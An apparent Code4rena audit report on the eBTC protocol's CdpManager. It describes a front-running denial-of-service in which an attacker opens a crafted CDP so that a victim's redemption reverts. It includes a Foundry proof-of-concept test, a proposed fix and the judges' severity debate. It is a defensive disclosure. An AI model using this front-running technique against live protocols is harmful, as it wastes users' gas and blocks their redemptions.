Redemption calls can be forcefully or incidentally reverted by other users

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L192-L207

Vulnerability details

Impact

The eBTC docs clearly indicate that during a redeemCollateral call up to n number of CDPs will be redeemed from, with up to n-1 being closed.

The Nth (i.e. last) CDP that is redeemed from will be redeemed from partially.

A redemption sequence of n steps will fully redeem from up to n-1 CDPs, and partially redeems from up to 1 CDP, which is always the last CDP in the redemption sequence.

This limitation is also clearly outlined in the natspec of redeemCollateral:

/// @notice If another transaction modifies the list between calling getRedemptionHints() /// @notice and passing the hints to redeemCollateral(), it is very likely that the last (partially) /// @notice redeemed Cdp would end up with a different ICR than what the hint is for. /// @notice /// @notice In this case, the redemption will stop after the last completely redeemed Cdp and the sender will keep the /// @notice remaining EBTC amount, which they can attempt to redeem later.

The issue is that a state can be created to ensure when a user tries to redeemCollateral with an eBTC amount that is below the amount of debt represented by one CDP, the transaction will always fail.

This opens up an attack vector where an attacker can deny a user the ability to redeem eBTC by front-running the redeemCollateral call with an openCDP call to open up a sufficiently large CDP that is crafted to be inserted at the appropriate point in the SortedCDPs list.

By opening the a new CDP in this manner, and ensuring that the redeem only tries to redeem one large CDP (ensuring redeemRequested < cdpDebt), an attacker can deny a user the ability to redeem eBTC.

Although there is little profit-motive for such an attack, it may be the incidental occurrences of this bug that are the most disruptive.

Due to the nature of block construction and the fact that the partialRedemptionHintNICR is likely computed off-chain via a UI, it may regularly happen that a legitimate openCDP, or even another partial redemption call is placed before a call to redeemCollateral in a block which corrupts the provided partialRedemptionHintNICR. This may be especially frustrating considering that a simulated transaction would be expected to pass.

It could also occur incidentally when there are two redeemCollateral calls in the same block that try to redeem partially.

There is a clear expectation that hints will be calculated on the front-end, meaning that this is likely to occur at some point during normal operation through no fault of the users:

/// @notice A frontend should use HintHelper.getRedemptionHints() to calculate what the ICR of this Cdp will be after redemption, /// @notice and pass a hint for its position in the SortedCdps list along with the ICR value that the hint was found for.

Proof of Concept

Baseline assumptions

There is a list of CDPs, all systems active and available, operating in normal mode.

Step 1

A normal user, Bob, wants to redeem some of their eBTC for stETH.

To do this, Bob obtains the appropriate redemption hints HintHelpers::getRedemptinsHints.

Using these values Bob submits a call to redeemCollateral using an unprotected endpoint.

Step 2

An attacker monitors the mempool for a call to CdpManager::redeemCollateral().

Step 3

The attacker calls openCDP(), opening a CDP with debt > redeemRequested and with an ICR so that it is the first cdp in the list with ICR >= MCR.

Step 4

Now Bob's call to redeemCollateral starts execution. The first relevant check is _isValidFirstRedemptionHint but the newly inserted CDP means the firstRedemptionHint provided by HintHelpers::getRedemptionHints is now outdated.

CdpManager attempts to handle this incorrect hint gracefully, and executes the aleternative redemption logic, which uses the attacker's newly opened CDP.

    if (_isValidFirstRedemptionHint(_firstRedemptionHint, totals.price)) {
        currentBorrower = sortedCdps.getOwnerAddress(_firstRedemptionHint);
    } else {
        _cId = sortedCdps.getLast();
        currentBorrower = sortedCdps.getOwnerAddress(_cId);
        // Find the first cdp with ICR >= MCR
        while (currentBorrower != address(0) && getSyncedICR(_cId, totals.price) < MCR) {
            _cId = sortedCdps.getPrev(_cId);
            currentBorrower = sortedCdps.getOwnerAddress(_cId);
        }
    }

Step 5

Having determined the correct first redemption hint, the execution continues to the Core Redemption Loop, which is a while loop that is supposed to iterate through all available CDPs that will be redeemed from.

The attacker's CDP was crafted to be bigger than the amount requested by Bob (i.e. newDebt != 0).

This has two effects:

1. the while loop will only execute once
2. the partial redemption logic in _redeemCollateralFromCdp is followed, and computes the appropriate nominal CR for re-inserting the CDP into the list:

    uint256 newNICR = EbtcMath._computeNominalCR(newColl, newDebt);

This newNICR is then compared to the (now outdated) hint that was provided by Bob. It will not match as the NICR calculation is for the attacker's new CDP (info Bob did not have at the time they made their call to redeem):

        if (
            newNICR != _redeemColFromCdp.partialRedemptionHintNICR ||
            collateral.getPooledEthByShares(newColl) < MIN_NET_STETH_BALANCE
        ) {
            singleRedemption.cancelledPartial = true;
            return singleRedemption;
        }

Step 6

Finally, because of the above the returned singleRedemption struct has the flag set as singleRedemption.cancelledPartial = true.

This triggers this [check]() which breaks Bob out of the while loop:

            if (singleRedemption.cancelledPartial) break;

Due to this early break the totals.collSharesDrawn will be 0, and this triggers the following require:

    require(totals.collSharesDrawn > 0, "CdpManager: Unable to redeem any amount");

The transaction is reverted and Bob loses his gas without any redemptions having taken place. The attacker loses only gas, as they can close their CDP without any loss.

Although this POC shows how an attacker can use this to target a specific unprotected user, it is important to note that these conditions, a large CDP with the appropriate ICR being inserted before a call to redeemCollateral can occur incidentally to users using protected enpoints as well.

Coded PoC

The below coded PoC should be placed in the BorrowerOperations.openCloseCdp.t.sol file.

It can be run with: forge test --match-test testPocRedeemDos -vvv

    function test_PocRedeemDos() public {
        // Setup starts here
        address bob = address(808);
        uint256 depositAmount = 12 ether; 
        uint256 borrowAmount = 10 ether;   

        // Fix for stack too deep 
        {
            address pocUser = _utils.getNextUserAddress();
            vm.startPrank(pocUser);
            vm.deal(pocUser, depositAmount);
            uint256 borrowAmountCalculated = _utils.calculateBorrowAmount(
                    borrowAmount,
                    priceFeedMock.fetchPrice(),
                    COLLATERAL_RATIO
                );

            collateral.approve(address(borrowerOperations), type(uint256).max);
            collateral.deposit{value: depositAmount}();
            bytes32 id = borrowerOperations.openCdp(borrowAmountCalculated, HINT, HINT, borrowAmount);

            vm.warp(block.number + 1);
            vm.stopPrank();

            address pocUser2 = _utils.getNextUserAddress();
            vm.startPrank(pocUser2);
            vm.deal(pocUser2, depositAmount);
            uint256 borrowAmountCalculated2 = _utils.calculateBorrowAmount(
                    borrowAmount,
                    priceFeedMock.fetchPrice(),
                    COLLATERAL_RATIO
                );

            collateral.approve(address(borrowerOperations), type(uint256).max);
            collateral.deposit{value: depositAmount}();
            bytes32 id2 = borrowerOperations.openCdp(borrowAmountCalculated2, HINT, HINT, borrowAmount);

            vm.warp(block.number + 1);

            // Bob receives some eBTC from another user or a swap
            eBTCToken.transfer(bob, eBTCToken.balanceOf(pocUser2));
            vm.stopPrank();
        }        
        // Setup ended 

        // POC starts

        // Step 1
        // Bob wants to redeem a third if this eBTC for stETH
        uint256 redeemAmount = eBTCToken.balanceOf(bob) / 3;
        // Bob calculates the hints
        // We specify the amount, the current price and the max amount of iterations (0 == unlimited)
        (bytes32 firstRedempHint, uint256 partialRedempNICR, , ) = hintHelpers.getRedemptionHints(
            redeemAmount,
            priceFeedMock.fetchPrice(),
            0
        );        

        // Step 3
        // The attacker observes Bob's intended tx and makes a call to `openCdp`
        // Placing Step 3 in front of Step 2 simulates the MEV / front-running aspect of the Poc
        address attacker = _utils.getNextUserAddress();
        vm.startPrank(attacker);
        vm.deal(attacker, depositAmount);

        uint256 borrowAmountCalculated = _utils.calculateBorrowAmount(
        borrowAmount,
        priceFeedMock.fetchPrice(),
        COLLATERAL_RATIO
        );

        collateral.approve(address(borrowerOperations), type(uint256).max);
        collateral.deposit{value: depositAmount}();

        // Crucially, the attacker ensures their Cdp is the first appropriate cdp for redemptions

        bytes32 idAttacker = borrowerOperations.openCdp(
            borrowAmountCalculated + 1e5, // Simple way to show a slightly worse ICR than other cdps
            HINT, 
            HINT, 
            borrowAmount);

        vm.warp(block.number + 1);
        vm.stopPrank();

        // Step 2
        // In reality this step preceeds the above step 3, but we have to do it 
        // this way around to simulate MEV / front-running
        // Bob now calls `redeemCollateral` with the hints provided in step 1
        // He is unaware that another tx to open a CDP was placed in front of his call redeem call.
        vm.startPrank(bob);
        cdpManager.redeemCollateral(
            redeemAmount, // We use the same amount calculated in the hint helper
            firstRedempHint, // This hint is now wrong
            bytes32(0),
            bytes32(0),
            partialRedempNICR, // This hint is invalid now
            0,
            9e17
        );

        _ensureSystemInvariants();
    }

The console output shows:

    │   └─ ← "CdpManager: Unable to redeem any amount"
    └─ ← "CdpManager: Unable to redeem any amount"

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 8.37ms

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in foundry_test/BorrowerOperations.openCloseCdp.t.sol:OpenCloseCdpTest
[FAIL. Reason: CdpManager: Unable to redeem any amount] test_PocRedeemDos() (gas: 1415233)

Tools Used

Manual Review. Foundry.

Recommended Mitigation Steps

This is an edge case that occurs due to 0 collateral being withdrawn as a consequence of incorrect redemption hints and a target CDP with larger debt than the requested redemption amount.

Although hints are intended to be calculated off-chain, reverting in this scenario is more expensive (and disruptive) to users.

The below method uses available functionality to handle the edge-case gracefully:

        if (_isValidFirstRedemptionHint(_firstRedemptionHint, totals.price)) {
            currentBorrower = sortedCdps.getOwnerAddress(_firstRedemptionHint);
        } else {
            _cId = sortedCdps.getLast();
            currentBorrower = sortedCdps.getOwnerAddress(_cId);
            // Find the first cdp with ICR >= MCR
            while (currentBorrower != address(0) && getSyncedICR(_cId, totals.price) < MCR) {
                _cId = sortedCdps.getPrev(_cId);
                currentBorrower = sortedCdps.getOwnerAddress(_cId);
            }

+            uint256 actualDebt = Cdps[_cId].debt;
+            // We take advantage of the knowledge that if we are here the hints are outdated.
+            // If all the debt will be redeemed from one CDP we are certain we are in the edge case.
+            if (actualDebt > _debt) {
+                // We thus need to recalculate the NICR hint.
+                _partialRedemptionHintNICR = EbtcMath._computeNominalCR(
+                    Cdps[_cId].coll - collateral.getSharesByPooledEth((_debt * DECIMAL_PRECISION) / totals.price),
+                    actualDebt - _debt
+                );
+            }
        }

This method uses 1 848 595 gas for the edge case, which is ~400k more than the current revert case of 1 415 233 gas.

However, when the edge case occurs the affected user would have to pay the ~1415k gas cost twice; once for the failed attempt and then again for the (hopefully) successful attempt. Meaning that despite the increased gas cost in the edge scenario, the proposed mitigation is still cheaper for the affected user, and it closes this vector against deliberate and incidental occurrences.

In addition, this does not increase costs for non-edge cases:

Non edge-case cost without fix: 1 296 741 gas Non edge-case gas with fix: 1 296 741 gas

Assessed type

DoS

[c4-pre-sort]

bytes032 marked the issue as high quality report

[c4-pre-sort]

bytes032 marked the issue as primary issue

[bytes032]

66 might qualify for a partial as well

[bytes032]

Some context here: https://github.com/code-423n4/2023-10-badger/blob/main/README_EBTC.md#recovery-mode

[GalloDaSballo]

I believe this is OOS, due to the comments

Technically speaking the caller could perform a check before performing the redemption to ensure a total redemption happens

I think this was worth flagging but ultimately was disclosed as known and we have Liquity to show that this vector is not particularly profitable to abuse

[GalloDaSballo]

I think QA because the risk of front-run re-sorting is known and is generally avoidable under reasonable circumnstances

[c4-sponsor]

GalloDaSballo marked the issue as disagree with severity

[c4-sponsor]

GalloDaSballo (sponsor) acknowledged

[rayeaster]

Some context here: https://github.com/code-423n4/2023-10-badger/blob/main/README_EBTC.md#recovery-mode

Agree with @GalloDaSballo that this is a known potential issue even in original Liquity but in practice hard to be exploited due to profitability. Arbitrageurs for redemption have multiple choices of battle-tested tools to avoid this front-running attack

[c4-judge]

jhsagd76 changed the severity to QA (Quality Assurance)

[c4-judge]

jhsagd76 marked the issue as grade-a

[c4-judge]

jhsagd76 marked the issue as selected for report

[c4-judge]

jhsagd76 marked the issue as not selected for report

[lokithe5th]

Dear @jhsagd76, I thank you (and the sponsors) for your time in considering this issue.

I would respectfully like to submit the following for your consideration, in defense of the submission's original severity level (medium):

In defense of being in-scope:

1. The known issue, referenced above, distinctly refers to "Attacker front-runs with mass openLoan txs" as a way to force the incoming transaction to be more expensive, by forcing a longer on-chain traversal of CDPs.
2. The Known Issue acknowledges that the partial redemption hint may be out-of-date due to this, which jeopardizes redemption calls.
3. The known issue notes that this is mitigated by: "The protocol gracefully handles this by terminating the redemption sequence at the last fully redeemed CDP".

My submission points out a separate issue which is caused "by terminating the redemption sequence at the last fully redeemed CDP". In other words, the mechanism to protect against the Known Issue is the root cause for my submission: temporary redemption DoS (intentionally or accidentally) can result from another transaction in the same block inserting 1) a single new, first CDP to be redeemed from, AND 2) that newly added CDP being sufficiently large that the redemptions will only be from that CDP.

Without the attempt to handle the case where ICR changes due to a preceeding change to the CDP list by "terminating at the last fully redeemed CDP", this issue wouldn't exist.

In further support, the mitigations proposed for the Known Issue are ineffective for the issue presented in my submission:

From the docs

An attacker trying to DoS redemptions could be bypassed by redeeming an amount that exactly corresponds to the debt of the affected CDP(s).

The submission details the first CDP to be redeemed is changed - the amount to exactly redeem from is unknowable to the user who's redeemCollateral call is bundled with the attacker's openCdp call, thus this mitigation may be ineffective.

Finally, this DoS could be avoided if the initial transaction avoids the public gas auction entirely and is sent direct-to-miner, via (for example) Flashbots.

The submission mentions the fact that using a protected endpoint does not guarantee the user protection from this issue arising. A user's transaction can still be bundled with the attacker's openCdp or other users' redeemCollateral calls in the protected endpoint and lead to this issue.

In defense of medium-severity:

Redemptions are only expected to occur when it is profitable to redeem eBTC for stETH.

This means that there is a predictable, usually short, time-period during which redemptions are expected to be profitable.

An attacker can monitor for these time-periods and use this vector just before redemption profitibity is in range to grief arbs (because only one redeemCollateral call can succeed in a block).

An extreme example, would be an attacker using this issue to partially DoS redemptions over a short span of multiple blocks until it is even more profitable to redeem (redemptions being a key component of the mechanism design). Then they could wrap their own calls in a helper contract to ensure their own calls to redeem always use up to date hints and so cannot fail.

In it's simplest terms, this issue ensures that likely only 1 redeemCollateral call can be made per block during the times when redemptions are profitable, given that there is an extremely large Cdp positioned as the first Cdp to redeem from. This is, from my understanding, not the intended design.

Reverting in such a case (from testing within the repo) costs the user 1.4 million gas (roughly USD 55 at the time of writing, with the relatively low gas-cost of 20 gwei and an ether price of USD 2000) with no assets returned to the user. This is not a dust amount for affected users to lose per reverted call.

This is despite them using a protected endpoint and simulating the transaction prior to submission.

This degraded service does seem to fall in the category of Medium risk:

Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements

Thank you for your time in re-evaluating this submission, it is greatly appreciated.

[jhsagd76]

1. We all agree that its not OOS, and this is already reflected in the current rating.
2. About rating dos, pls read the Appendix of SC https://docs.google.com/document/d/1Y2wJVt0d2URv8Pptmo7JqNd0DuPk_qF9EPJAj3iSQiE/edit#heading=h.enoo16t2syxe

The dos only in one block (the attacker must close their cdp in the current block, even current sandwich, otherwise their cdp will be redeemed. Although they don't lose any eBTC, if they want to launch another attack, they must accept slippage losses). It does not satisfy the duration in this rule

Temporary DOS not being preventable under reasonable circumstances, with a duration above the intended “DOS mitigation path” if present.

Moreover, the cost of such an attack is excessively high.

If you classify it as functionality impairment under normal user behavior, it makes sense, but the loss is dust(gas USD 55 , I know , but IMO dust and it is acceptable for arbitrage and small probability events).

[lokithe5th]

@jhsagd76 thanks for your time in reviewing this submission again. I accept your decision.

For the sponsor's benefit, I do want to note that the below will not always hold true.

The dos only in one block (the attacker must close their cdp in the current block, even current sandwich, otherwise their cdp will be redeemed. Although they don't lose any eBTC, if they want to launch another attack, they must accept slippage losses).

In the scenario where, 1) the attacker creates a very large CDP, and 2) the redemptions are for smaller amounts, the partial DoS will continue over multiple blocks until the CDP is eroded away by the smaller redemptions. Because only one redeemCollateral call can succeed in such a block, it may take the large CDP multiple blocks until it is eroded sufficiently for it to be redeemed fully. The attacker does not need to close and reopen a CDP to maintain this partial DoS, rather they can simply "adjust" their position to bring their CDP back to the right spot, as long as it remains the largest CDP and only if needed. As this exploit only requires a short multi block period of partial DoS, this may be sufficient for the attacker.